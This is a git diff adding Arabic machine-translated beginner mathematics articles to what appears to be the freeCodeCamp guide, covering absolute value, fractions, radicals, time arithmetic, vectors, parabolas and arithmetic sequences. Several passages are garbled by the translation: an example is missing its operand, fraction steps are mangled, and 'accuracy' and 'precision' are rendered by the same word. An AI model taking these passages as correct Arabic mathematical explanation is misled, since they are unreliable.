+++ b/client/src/guide/arabic/mathematics/absolute-value/index.md
@@ -0,0 +1,42 @@
+---
+title: Absolute Value
+localeTitle: قيمه مطلقه
+---
+## قيمه مطلقه
+
+القيمة المطلقة هي القيمة الإيجابية للرقم. يمكنك التفكير في القيمة المطلقة للرقم كمسافته من الصفر. يمكن تعريفه على أنه
+
+![IMG](https://latex.codecogs.com/gif.latex?%5Cdpi%7B120%7D%20%5Clarge%20y%20%3D%20%5Cleft%20%7C%20x%20%5Cright%20%7C%20%3D%20%5Cleft%5C%7B%5Cbegin%7Bmatrix%7D%20x%20%26%20for%20%5C%2C%20x%20%5Cgeq%200%20%5C%5C%20-x%20%26%20for%20%5C%2Cx%20%3C0%20%5Cend%7Bmatrix%7D%5Cright.)
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Absolute_value.svg/2000px-Absolute_value.svg.png)
+
+هنا يمكنك رؤية ذلك في الرسم البياني لـ y = | x | ، إذا تم إدخال -2 في الدالة ، فإن 2 هي النتيجة. هذا لأن -2 يحتوي على مسافة 2 من صفر. القيمة المطلقة للرقم لا يمكن أبدًا أن تكون سالبة.
+
+### أمثلة
+
+*   **بسّط | -5 |**
+    
+    | -5 | = 5
+    
+*   **تبسيط | 0 (5) |**
+    
+    | 0 (5) | = | 0 | = 0
+    
+*   **تبسيط - | -1 |**
+    
+    \- | -1 | = - (1) = -1
+    
+*   **تبسيط | -5 (-3) + 1 |**
+    
+    | -5 (-3) + 1 | = | 15 + 1 | = | 16 | = 16
+    
+*   **تبسيط |**
+    
+    | 8 | = 8
+    
+*   **تبسيط | (-5) ^ 3 |** | -125 | = 125
+    
+
+#### معلومات اكثر:
+
+[قيمه مطلقه](http://www.purplemath.com/modules/absolute.htm "Absolute Value")
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/accuracy-and-precision/index.md b/client/src/guide/arabic/mathematics/accuracy-and-precision/index.md
new file mode 100644
index 0000000000..871f81b90f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/accuracy-and-precision/index.md
@@ -0,0 +1,35 @@
+---
+title: Accuracy and Precision
+localeTitle: الإحكام والدقة
+---
+## الإحكام والدقة
+
+تستخدم الدقة والدقة عادةً بشكل متبادل ، ولكنها تعني أشياء مختلفة.
+
+### الدقة تدور حول القرب من القيمة الحقيقية
+
+في العلوم والهندسة ، دقة القياس هي درجة القرب أو الصدق من هذا القياس إلى القيمة الحقيقية للكمية التي يجري قياسها.
+
+على سبيل المثال ، فإن المسطرة التي تقيس طولًا معروفًا يبلغ 1 متر في 1 متر سيكون لها دقة عالية ؛ المسطرة التي تقيس نفس مسافة 0.8 متر من شأنها أن تكون منخفضة الدقة. مثال آخر هو إذا كنت تحاول قياس pi ، سيتم تحديد الدقة من خلال مدى قرب القياسات الخاصة بك إلى القيمة المعروفة لـ pi: 3.141592 ...
+
+### الدقة هي حول التباين في القياسات المتكررة
+
+دقة القياس هي تكرار ذلك القياس وتعبر عن التباين في داخلها. وبعبارة أخرى ، الدقة هي القدرة على الاقتراب من أو نفس القياسات في كل مرة.
+
+على سبيل المثال ، إذا كان المسطرة المذكورة أعلاه والتي تم قياسها بمقياس 1 متر 0.8 متر ، فقاس المسافة 0.80 م ، 0.79 م ، 0.80 م ، 0.81 م و 0.80 م على مدى المتواليات المتتالية يكون المسطرة دقيقة للغاية (تكون القياسات منخفضة التباين) ، في حين أن تكون غير دقيقة. بالإضافة إلى ذلك ، باستخدام مثال pi على النحو الوارد أعلاه ، إذا كانت قياساتك تحصل دائمًا على 3.12 ، فهي دقيقة ، ولكنها ليست دقيقة.
+
+### الدقة والدقة مستقلان عن بعضهما البعض
+
+دقة القياس مستقلة عن دقة القياس. وبالمثل ، دقة القياس مستقلة عن دقتها. وهذا يعني أن القياسات يمكن أن تكون دقيقة وذات دقة منخفضة ودقيقة وذات دقة منخفضة ودقيقة ودقيقة وغير دقيقة وغير دقيقة.
+
+### تشابه كرة السلة
+
+التشابه الجيد لفهم الدقة والدقة هو تخيل سلال تصوير لاعب كرة السلة. إذا قام اللاعب بتجريب الدقة ، فإن هدفه دائما سيأخذ الكرة بالقرب من السلة أو داخلها. إذا قام اللاعب بالتقاط الدقة ، فإن هدفه سيأخذ الكرة دائماً إلى نفس الموقع الذي قد يكون أو لا يكون قريباً من السلة. سيكون اللاعب الجيد دقيقًا ودقيقًا من خلال تصوير الكرة بنفس الطريقة في كل مرة وكل مرة في السلة.
+
+![](http://cdn.antarcticglaciers.org/wp-content/uploads/2013/11/precision_accuracy.png)
+
+#### معلومات اكثر:
+
+*   [الدقة والدقة من الاحصائيات كيف](http://www.statisticshowto.com/accuracy-and-precision/)
+*   [الدقة مقابل الدقة من موقع علوم السيد إيفانز](https://sites.google.com/a/apaches.k12.in.us/mr-evans-science-website/accuracy-vs-precision)
+*   [الدقة والدقة من ويكيبيديا](https://en.wikipedia.org/wiki/Accuracy_and_precision)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/add-fractions-with-unlike-denominators/index.md b/client/src/guide/arabic/mathematics/add-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..923143b485
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/add-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Fractions with Unlike Denominators
+localeTitle: إضافة الكسور مع عكس القواسم
+---
+## إضافة الكسور مع عكس القواسم
+
+من أجل إضافة الكسور ذات القواسم المختلفة ، تحتاج إلى إعادة كتابة الكسور بحيث تحتوي جميعها على نفس المقام. تتمثل إحدى طرق القيام بذلك في مضاعفة جميع القواسم غير المتقاربة معًا لإنشاء قاسم مشترك.
+
+### أمثلة
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/guide-article-adding-fractions.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/adding-and-subtracting-negative-numbers/index.md b/client/src/guide/arabic/mathematics/adding-and-subtracting-negative-numbers/index.md
new file mode 100644
index 0000000000..6314916592
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/adding-and-subtracting-negative-numbers/index.md
@@ -0,0 +1,21 @@
+---
+title: Adding and Subtracting Negative Numbers
+localeTitle: إضافة وطرح الأرقام السلبية
+---
+## إضافة وطرح الأرقام السلبية
+
+إن جمع وطرح الأرقام الموجبة أمر صعب إلى حد ما ، ولكن ماذا يعني إضافة أو طرح أعداد سلبية؟ دعونا ننظر إلى مثال واقعي للحصول على فكرة أفضل. لنفترض أن لدينا سلة بها بعض البالونات مربوطة بها تدفعها إلى الأعلى وترتبط بعض الأوزان بها مما يدفعها للأسفل. فكر في قوة سحب البالون كعدد موجب والقوة تسحبه إلى الأسفل كرقم سالب. إذا أضفنا مزيدًا من الأوزان ، يبدو الأمر كما لو أننا نضيف رقمًا سالبًا ويتم سحب السلة لأسفل. إذا أزلنا الأوزان ، فإننا نطرح رقمًا سالبًا وسحب السلة لأعلى.
+
+### أمثلة
+
+(-1) + 3 = 2
+
+(-3) + (-3) = -6
+
+(-2) - 4 = -6
+
+(-10) + 2 = -8
+
+20 + (-44) = -24
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md b/client/src/guide/arabic/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md
new file mode 100644
index 0000000000..d0fee4b59a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md
@@ -0,0 +1,23 @@
+---
+title: Adding and Subtracting Radicals and Square Roots
+localeTitle: إضافة وطرح الجذور والجذور
+---
+## إضافة وطرح الجذور والجذور
+
+يمكنك إضافة "مثل" جذور مربعة بنفس الطريقة التي تضيف بها أنواع أخرى من الأرقام. "مثل" الجذور المربعة هي مصطلحات لها نفس الأجزاء الجذرية.
+
+![تظهر الصيغة 2 ضعف الجذر التربيعي لـ 3 زائد 2 ضعف الجذر التربيعي لـ 3 مع السهام التي تشير إلى أجزاء الجذر التربيعي كأجزاء جذرية](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img1.png?raw=true)
+
+يمكن تبسيط الشروط أعلاه على النحو التالي:
+
+![الصيغة التي تعرض مرتين الجذر التربيعي لـ 3 زائد 2 ضعف الجذر التربيعي لـ 3 يساوي (2 + 2) ضرب الجذر التربيعي لـ 3 الذي يساوي 4 أضعاف الجذر التربيعي لـ 3](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img2.png?raw=true)
+
+يمكن تبسيط التعبيرات مع الجذور المتطرفة في بعض الحالات. لاحظ أن الجذور الرئيسية 100 و 9 هي أرقام مربعة.
+
+![الصيغة التي تبين الجذر التربيعي لـ100 بالإضافة إلى الجذر التربيعي لـ 9 تساوي 10 زائد 3 والتي تساوي 13](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img3.png?raw=true)
+
+![صيغة تظهر 4 أضعاف الجذر التربيعي من 100 بالإضافة إلى 3 أضعاف الجذر التربيعي من 9 يساوي 4 مرات 10 زائد 3 مرات 3 والتي تساوي 49](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img4.png?raw=true)
+
+تذكر أنه بدون عبارات شبيهة هناك حد أقصى للمبلغ الذي يمكنك تبسيطه.
+
+![المعادلة التي تعرض مرتين الجذر التربيعي لـ 2 زائد 2 ضعف الجذر التربيعي لـ 2 بالإضافة إلى الجذر التربيعي لـ 3 يساوي 4 أضعاف الجذر التربيعي لـ 2 بالإضافة إلى الجذر التربيعي لـ 3](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img5.png?raw=true) ![\ sqrt {12} + \ sqrt {3} = \ sqrt {4 \ times 3} + \ sqrt {3}](http://www.sciweavers.org/tex2img.php?eq=%20%5Csqrt%7B12%7D%20%2B%20%5Csqrt%7B3%7D%20%3D%20%5Csqrt%7B4%20%5Ctimes%203%7D%20%2B%20%5Csqrt%7B3%7D&bc=White&fc=Black&im=jpg&fs=12&ff=arev&edit=0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/adding-and-subtracting-time/index.md b/client/src/guide/arabic/mathematics/adding-and-subtracting-time/index.md
new file mode 100644
index 0000000000..1cd3b3edfe
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/adding-and-subtracting-time/index.md
@@ -0,0 +1,43 @@
+---
+title: Adding and Subtracting Time
+localeTitle: إضافة وطرح الوقت
+---
+## إضافة وطرح الوقت
+
+هناك بعض القواعد الأساسية التي توجه عملية الجمع والطرح للوقت.
+
+ها هم:
+
+60 ثانية تجعل 1 دقيقة 60 دقيقة جعل 1 ساعة 1440 دقيقة من يوم واحد 24 ساعة من يوم واحد 7 أيام جعل 1 أسبوع 52 أسبوعًا جعل عامًا واحدًا 365 يوما جعل 1 سنة 366 يومًا يجعل سنة كبيسة 12 شهرًا تقويميًا أو 13 شهرًا قمريًا لمدة عام واحد
+
+على سبيل المثال ، يؤدي طرح ساعة و 15 دقيقة و 30 ثانية من 4 ساعات إلى ما يلي
+
+الخط 1: 4 00 00 السطر 2: 1 15 30 -------- 2 44 30 --------
+
+في السطر الأول أعلاه ، (الطرح والإضافة) ستبدأ من معظم الأرقام الصحيحة (في هذه الحالة 00). من المستحيل عادةً استقطاع 30 من 0 ، لذا فما سنفعله هو الانتقال إلى المجموعة التالية من الأرقام (00) لمعرفة ما إذا كان بإمكاننا الاقتراض. في هذه الحالة ، من المستحيل لذلك نذهب إلى الرقم التالي (أقصى اليسار الذي في هذه الحالة سيكون 1 ساعة - تذكر 60 دقيقة جعل 1 ساعة).
+
+هذا ما تريده في هذه المرحلة
+
+3 60 00 1 15 30
+
+بعد ذلك ، نحتاج إلى اقتراض دقيقة واحدة من 60 ، مما يؤدي إلى ما لدينا أدناه. تذكر مع ذلك أن 60 ثانية تجعل 1 دقيقة. يؤدي خفض 60 وحدة لكل وحدة إلى 59 ، لذلك لدينا:
+
+3 59 60 1 15 30
+
+الآن يمكننا بعد ذلك إجراء استقطاعاتنا
+
+60 ناقص 30 هو 30 59 ناقص 15 هو 44 3 ناقص 1 هو 2
+
+ومن ثم ، فإن طرح ساعة واحدة و 15 دقيقة و 30 ثانية من 4 ساعات سيؤدي إلى ساعتين و 44 دقيقة و 30 ثانية.
+
+قد يكون فيديو youtube الجذاب هذا مفيدًا أيضًا لأنه يتحول إلى الأساسيات. https://www.youtube.com/watch؟v=HrxZWNu72WI
+
+دعنا نرى مثالًا إضافيًا بإضافة 3 ساعات 45 دقيقة 20 ثانية إلى ساعتين 20 دقيقة و 50 ثانية
+
+اتش ام اس 3 45 20 2 20 50
+
+20 ثانية زائد 50 ثانية هي 70 ثانية. استدعاء 60 ثانية يجعل 1 دقيقة. 70 ثانية لذلك سيكون 1 دقيقة 10 ثانية 45 دقيقة زائد 20 دقيقة هي 65 دقيقة. استدعاء 60 دقيقة هي 1 ساعة. 65 دقيقة وبالتالي سيكون 1 ساعة 5 دقائق 3 زائد 2 هو 5 (ساعات)
+
+نحن بحاجة بعد ذلك إلى القيام الإضافات.
+
+5 ساعات + 1 ساعة 5 دقائق + 1 دقيقة 10 ثانية ستكون 6 ساعات و 6 دقائق و 10 ثواني.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/adding-and-subtracting-vectors/index.md b/client/src/guide/arabic/mathematics/adding-and-subtracting-vectors/index.md
new file mode 100644
index 0000000000..26b390f205
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/adding-and-subtracting-vectors/index.md
@@ -0,0 +1,19 @@
+---
+title: Adding and Subtracting Vectors
+localeTitle: إضافة وطرح ناقلات
+---
+## إضافة وطرح ناقلات
+
+في الجبر الخطي ، يكون مجموع A + B من متجهين (A و B) مساويًا لمجموع المكونات المقابلة لـ A و B. على سبيل المثال ، إذا كان Vector A `{1, 3, 4}` و Vector B `{2, 5, 9}` ، يكون المجموع أ + ب `{1+2, 3+5, 4+9} = {3, 8, 13}` .
+
+![تصور من ناقلات إضافة.](http://mathworld.wolfram.com/images/eps-gif/ParallelogramLaw_1000.gif) 1
+
+وبالمثل ، يكون الفرق AB بين متجهين (مرة أخرى ، A و B) مساوياً للفرق بين المكونات المقابلة لـ A و B. والفرق AB مع المتجهات أعلاه هو `{1-2, 3-5, 4-9} = {-1, -2, -5}` .
+
+#### معلومات اكثر:
+
+[إضافة المتجهات على Wolfram Mathworld](http://mathworld.wolfram.com/VectorAddition.html) [إضافة المتجهات والطرح على ويكيبيديا](https://en.wikipedia.org/wiki/Euclidean_vector#Addition_and_subtraction)
+
+### مصادر:
+
+1.  [إضافة المتجهات على Wolfram Mathworld](http://mathworld.wolfram.com/VectorAddition.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/adding-fractions/index.md b/client/src/guide/arabic/mathematics/adding-fractions/index.md
new file mode 100644
index 0000000000..1e34ffd3b7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/adding-fractions/index.md
@@ -0,0 +1,59 @@
+---
+title: Adding Fractions
+localeTitle: مضيفا الكسور
+---
+## مضيفا الكسور
+
+يتم استخدام كسر بشكل عام لتمثيل رقم يمثل نسبة رقمين. النظر في الكسر 4 ⁄ 5 ، وهنا يسمى 4 البسط و 5 يسمى القاسم.
+
+#### إضافة الكسور ذات القاسم المشترك
+
+إضافة البسط لكل من الكسور ووضع النتيجة على المقام.
+
+###### مثال 1
+
+النظر في الكسور 4 ⁄ 5 و 3 ⁄ 5
+
+1.  مقام الكسور شائع.
+2.  البسط هي 4 و 3
+3.  أضف البسط ، 4 + 3 = 7
+4.  ضع الناتج على المقام المشترك
+5.  بسّط الكسر الناتج ، إن أمكن
+
+ 4 ⁄ 5 + 3 ⁄ 5 = 7 ⁄ 5 
+
+###### مثال 2
+
+ 5 ⁄ 16 + 3 ⁄ 16 = 8 ⁄ 16 (تبسيطه بشكل أكبر، 8 ⁄ 16 = 1 ⁄ 2 ) 
+
+#### إضافة الكسور ذات القواسم المختلفة
+
+1.  تحويل الكسور إلى كسور مكافئة مع المقام المشترك
+    
+2.  لتحويل الكسور إلى قاسم مشترك ، اضرب البسط ومقام الكسر مع المقام الكسر الآخر.
+    
+3.  والآن بعد أن يكون للكسور قواسم مشتركة ، أضف البسط لكل من الكسور وضع النتيجة على الكسر
+    
+    ضع في اعتبارك ، a and b و c ⁄ d كسريان بمكونات مختلفة ، يمكنك إضافة هذه الكسور في خطوة واحدة مثل أدناه ،
+    
+
+ a ⁄ b + c ⁄ d = (a \* d) + (b \* c) ⁄ (b \* d) 
+
+###### مثال
+
+النظر في الكسور 5 ⁄ 6 و 5 ⁄ 15
+
+1.  القواسم مختلفة. لذلك تحتاج إلى جعل القواسم المشتركة
+2.  قبل ذلك ، إذا أمكن ، تبسيط الكسور. في هذه الحالة ، يمكن تبسيط 5 × 15 ك 1 × 3 . هنا تسمى 5 ⁄ 15 و 1 ⁄ 3 الكسور المتكافئة.
+3.  بعد التبسيط ، تكون الكسور 5 ⁄ 6 و 1 ⁄ 3 .
+4.  الآن لإضافة هذه الكسور ، يجب جعل القواسم المشتركة
+5.  اضرب البسط والمقام لكسر مع المقام الآخر
+6.  بالنسبة للجزء الكسري 5 ، 6 ، يكون المقام للكسر الآخر هو 3. بالنسبة للجزء 1 ⁄ 3 ، فإن المقام التابع للكسر الآخر هو 6
+
+ ((5 \* 3) + (1 \* 6)) ⁄ (6 \* 3) = 21 ⁄ 18 
+
+7.  الجزء الناتج هو 21 ⁄ 18 . يمكن تبسيط ذلك أكثر بـ 7 7 6
+
+ 5 ⁄ 6 + 5 ⁄ 15 = 7 ⁄ 6 
+
+7 ⁄ 6 يعادل 1 و 1 ⁄ 6
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/graphing-quadratics-vertex-form/index.md b/client/src/guide/arabic/mathematics/algebra/graphing-quadratics-vertex-form/index.md
new file mode 100644
index 0000000000..5b5fd0759a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/graphing-quadratics-vertex-form/index.md
@@ -0,0 +1,25 @@
+---
+title: Graphing Quadratics Vertex Form
+localeTitle: الرسوم البيانية Quadratics نموذج قمة الرأس
+---
+## الرسوم البيانية Quadratics نموذج قمة الرأس
+
+شكل قمة الرأس لمعادلة القطع المكافئ:
+
+![صيغة تساوي y تساوي المرات (x minus h) -squared plus k](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img1.png?raw=true)
+
+النقطة (h، k) هي قمة الرأس. عندما يكون إيجابيًا ، يفتح القطع المكافئ لأعلى.
+
+![Parabola (الرسم البياني على شكل u) مع أدنى نقطة (الرأس) الموسومة بـ (h، k)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img2.png?raw=true)
+
+عندما تكون سلبية ، يفتح القطع المكشوف للأسفل.
+
+![القطع المكافئ المقلوب (على شكل حرف U) مع أعلى نقطة (قمة الرأس) الموسومة بـ (h، k)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img4.png?raw=true)
+
+متى | <1 يتم ضغط القطع المكافئ رأسيًا.
+
+![إصدار أوسع من القطع المكافئ (الرسم البياني على شكل u)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img5.png?raw=true)
+
+متى | > 1 يصبح القطع المكافئ أضيق.
+
+![إصدار أضيق من القطع المكافئ (الرسم البياني على شكل u)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img6.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/index.md b/client/src/guide/arabic/mathematics/algebra/index.md
new file mode 100644
index 0000000000..368d069295
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/index.md
@@ -0,0 +1,17 @@
+---
+title: Algebra
+localeTitle: علم الجبر
+---
+## علم الجبر
+
+الجبر هو قسم واسع من الرياضيات يركز على معالجة الثوابت والمتغيرات في المعادلات ، حيث يتم الجمع بين الحروف التي تمثل الأرقام وفقًا لقواعد الحساب. الفروع الرئيسية للجبر مذكورة أدناه. الجبر الابتدائي: مقدمة لهذه الأفكار. يغطي حل المعادلات متعددة الحدود في واحد أو أكثر من المتغيرات والخصائص الأساسية للوظائف والرسوم البيانية. الجبر المجرد: دراسة البنى الجبرية على نفسها. الجبر الخطي: دراسة مساحات المتجهات والتخطيطات الخطية.
+
+#### معلومات اكثر:
+
+[مقالة ويكيبيديا](https://en.wikipedia.org/wiki/Algebra)  
+[تعلم الجبر على أكاديمية خان](https://www.khanacademy.org/math/algebra-home)
+
+#### مصادر:
+
+[فريف](https://www.merriam-webster.com/dictionary/algebra)  
+[ولفرام ماثوورلد](http://mathworld.wolfram.com/Algebra.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md b/client/src/guide/arabic/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md
new file mode 100644
index 0000000000..18f392b038
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/intro-to-rationalizing-the-denominator/index.md
@@ -0,0 +1,21 @@
+---
+title: Intro to Rationalizing the Denominator
+localeTitle: مقدمة لترشيد المقام
+---
+## مقدمة لترشيد المقام
+
+إذا لم تتمكن من التعبير عن المقام لكسر في شكل a / b ، حيث a و b هي أعداد صحيحة ، فإن المقام يكون غير منطقي. لتبسيط الكسر ، يجب علينا ترشيد القاسم. يمكن أن يساعدك ترشيد القاسم في حل معادلات معينة. هناك عدة طرق للقيام بذلك.
+
+### ضرب بجذر
+
+يمكننا مضاعفة أعلى وأسفل بجذر. لاحظ أننا نقوم بضرب الكسر بواسطة الجذر 2 مقسوما على نفسه والذي هو مجرد طريقة أخرى أو الكتابة 1.
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img1.png?raw=true)
+
+### ضرب من قبل المترافقة
+
+يمكننا أيضا مضاعفة أعلى وأسفل عن طريق الاقتران.
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img2.png?raw=true)
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art4img3.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/piecewise-functions-graphs/index.md b/client/src/guide/arabic/mathematics/algebra/piecewise-functions-graphs/index.md
new file mode 100644
index 0000000000..1797e8e0ca
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/piecewise-functions-graphs/index.md
@@ -0,0 +1,21 @@
+---
+title: Piecewise Functions Graphs
+localeTitle: وظائف منفردة الرسومات البيانية
+---
+## وظائف منفردة الرسومات البيانية
+
+يتم تعريف وظائف منفردة بشكل مختلف لفترات مختلفة من `x` . للعثور على `y` ، يمكنك استخدام `x` للبحث عن الفاصل الزمني الموجود فيه. لنلقِ نظرة على وظيفة بسيطة بسيطة ورسم بياني.
+
+![مثال الرسم البياني وظيفة Piecewise 1](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img1.png?raw=true)
+
+يمكنك أن ترى أنه عندما يكون `x` أقل من أو يساوي 1 ، يكون `y` مساوياً لـ 3 ، وعندما يكون `x` أكبر من 1 ، يكون `y` يساوي x. انها تقريبا مثل يتم إنشاء وظائف من خلال الجمع بين وظائف مختلفة في واحد.
+
+![مثال الرسم البياني وظيفة Piecewise 2](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img2.png?raw=true)
+
+في الرسم البياني أعلاه ، يمكنك رؤية أن مربع `x` يمكن أن يكون دالة مستقلة سيتم تعريفها لكل الأرقام الحقيقية. وبدلاً من ذلك ، قمنا بتعريف الدالة البوصلة ، بحيث يتم إدخال قيم `x` فقط التي تزيد عن -5 وأقل من 5 في مربع `x` . لاحظ أن هذا الرسم البياني يبدو أنه يحتوي على "سطرين حد" على `x = -5` و `x = 5` ، ويحتوي الرسم البياني الأول على "سطر حد" واحد عند `x = 1` .
+
+### وظائف غير متواصلة / غير متواصلة
+
+كيف يمكنك معرفة ما إذا كانت وظيفة محددة بالقطعة مستمرة؟ دعونا ننظر في أمثلة زوجين.
+
+![أمثلة الرسوم البيانية الوظيفية مستمرة / غير متواصلة](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art5img3.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/polynomial-factorization/index.md b/client/src/guide/arabic/mathematics/algebra/polynomial-factorization/index.md
new file mode 100644
index 0000000000..65bc85a413
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/polynomial-factorization/index.md
@@ -0,0 +1,35 @@
+---
+title: Polynomial Factorization
+localeTitle: عامل متعدد الحدود
+---
+## عامل متعدد الحدود
+
+تعدد الحدود بعوامل يشبه إلى حد كبير احتساب أرقام منتظمة. الهدف هو العثور على أرقام أو كثيرات الحدود التي تنقسم بالتساوي من كثيرات الحدود. على النقيض من العوملة ، يمكنك تبسيط تعبير مثل ذلك:
+
+![7 (x + 4) = 7x + 28](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img1.png?raw=true)
+
+يمكنك التفكير في التخصيم كما يفعل عكس ذلك ، كما هو الحال في هذا المثال حيث نجد أولاً العامل المشترك الأكبر (GCF) للمصطلحات (9) ثم أعد كتابة متعدد الحدود:
+
+![9x ^ 2 + 72 = 9 (x ^ 2 + 8)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img2.png?raw=true)
+
+دعونا نفعل بعض الأمثلة أكثر.
+
+![2X - 10](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img3.png?raw=true)
+
+يمكنك حساب المصطلح الأول في (2) (س) والثاني في (-5) (2). العامل المشترك الوحيد هو 2. انقل العامل المشترك إلى بداية كثير الحدود المعاد كتابتها.
+
+![2x - 10 = 2 (](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img4.png?raw=true)
+
+عندما تقوم بتقسيم 2 من 2x كنت تركت مع x
+
+![2x - 10 = 2 (x](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img5.png?raw=true)
+
+عندما تقسم 2 من أصل -10 ، تبقى مع -5.
+
+![2x - 10 = 2 (x - 5)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img6.png?raw=true)
+
+### الأخطاء الشائعة
+
+![x ^ 6y ^ 5 + xy = xy (x ^ 5y ^ 4 + 1)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art6img7.png?raw=true)
+
+عند التخصيم ، غالبًا ما ينتهي بك الأمر إلى تقسيم يؤدي إلى 1. تأكد من تضمينه في الأقواس.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md b/client/src/guide/arabic/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md
new file mode 100644
index 0000000000..3bc3844c21
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/algebra/recursive-formulas-for-arithmetic-sequences/index.md
@@ -0,0 +1,49 @@
+---
+title: Recursive Formulas for Arithmetic Sequences
+localeTitle: صيغ متكررة للتتابعات الحسابية
+---
+## صيغ متكررة للتتابعات الحسابية
+
+### ما هو التسلسل الحسابي؟
+
+**التسلسل** هو قائمة من الأرقام حيث يتم نفس العملية (العمليات) إلى رقم واحد للحصول على التالي. **تسلسل حسابي** على وجه التحديد الرجوع إلى التسلسلات التي شيدت عن طريق إضافة أو طرح القيمة التي تسمى **الفرق المشترك** - للحصول على المصطلح التالي. في لكي نتحدث بفعالية عن تسلسل ، نستخدم صيغة تقوم ببناء التسلسل عند وضع قائمة من المؤشرات. عادة ، يتم إعطاء هذه الصيغ أسماء ذات حرف واحد ، متبوعة بمعلمة بين قوسين ، والتعبير الذي يبني التسلسل. على جهة اليد اليمنى.
+
+`a(n) = n + 1`
+
+أعلاه هو مثال على صيغة لتسلسل حسابي.
+
+### أمثلة
+
+التسلسل | معادلة --------- | --------- 1 ، 2 ، 3 ، 4 ، ... | أ (ن) = ن + 1 3 ، 8 ، 13 ، 18 ، ... | ب (ن) = 5 ن - 2
+
+### صيغة متكررة
+
+ملاحظة: يبدأ علماء الرياضيات بالعد عند 1 ، لذلك من خلال الاتفاقية ، فإن `n=1` هو المصطلح الأول. لذا يجب أن نحدد ما هو المصطلح الأول. إذن لدينا لمعرفة وإدراج الفرق المشترك. إلقاء نظرة على الأمثلة مرة أخرى ،
+
+التسلسل | الفورمولا | صيغة متكررة --------- | --------- | ------------------- 1 ، 2 ، 3 ، 4 ، ... | أ (ن) = ن + 1 | a (n) = a (n-1) + 1، a (1) = 1 3 ، 8 ، 13 ، 18 ، ... | ب (ن) = 5 ن - 2 | ب (ن) = ب (ن -1) + 5 ، ب (1) = 3
+
+### العثور على الصيغة (مع تحديد تسلسل مع الفصل الدراسي الأول)
+
+ ``1. Figure out the common difference 
+    Pick a term in the sequence and subtract the term that comes before it. 
+ 2. Construct the formula 
+    The formula has the form: `a(n) = a(n-1) + [common difference], a(1) = [first term]` 
+`` 
+
+### العثور على الصيغة (مع تحديد تسلسل دون الفصل الأول)
+
+ ``1. Figure out the common difference 
+    Pick a term in the sequence and subtract the term that comes before it. 
+ 2. Find the first term 
+    i. Pick a term in the sequence, call it `k` and call its index `h` 
+    ii. first term = k - (h-1)*(common difference) 
+ 3. Construct the formula 
+    The formula has the form: `a(n) = a(n-1) + [common difference], a(1) = [first term]` 
+`` 
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات حول هذا الموضوع ، تفضل بزيارة
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Arithmetic_progression)
+*   [أكاديمية خان](https://www.khanacademy.org/math/algebra/sequences/constructing-arithmetic-sequences/a/writing-recursive-formulas-for-arithmetic-sequences)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/algebra/simplify-square-roots/index.md b/client/src/guide/arabic/mathematics/algebra/simplify-square-roots/index.md
new file mode 100644
index 0000000000..cce17fda9f
--- /dev/null
